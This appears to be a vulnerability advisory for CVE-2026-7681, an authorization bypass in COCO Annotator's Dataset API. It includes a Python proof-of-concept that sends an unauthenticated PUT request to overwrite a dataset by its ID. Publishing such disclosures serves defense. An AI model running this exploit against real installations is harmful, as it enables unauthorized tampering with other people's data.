CVE-2026-7681

Description

A security vulnerability has been detected in jsbroks COCO Annotator up to 0.11.1. Affected by this vulnerability is an unknown functionality of the file backend/webserver/api/datasets.py of the component Dataset API. The manipulation of the argument DatasetId leads to authorization bypass. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable API endpoint
target_url = "http://target-host:port/api/datasets/{dataset_id}"

# Attempt to modify a dataset without authentication by manipulating the DatasetId
malicious_dataset_id = 1  # Example ID
payload = {
    "name": "Hacked Dataset",
    "description": "Unauthorized modification"
}

try:
    # Sending a PUT request to modify the dataset
    response = requests.put(target_url.format(dataset_id=malicious_dataset_id), json=payload)

    if response.status_code == 200:
        print("[+] Exploit successful! Dataset modified.")
        print("Response:", response.text)
    else:
        print("[-] Exploit failed or endpoint not vulnerable.")
        print("Status Code:", response.status_code)
except Exception as e:
    print(f"Error: {e}")
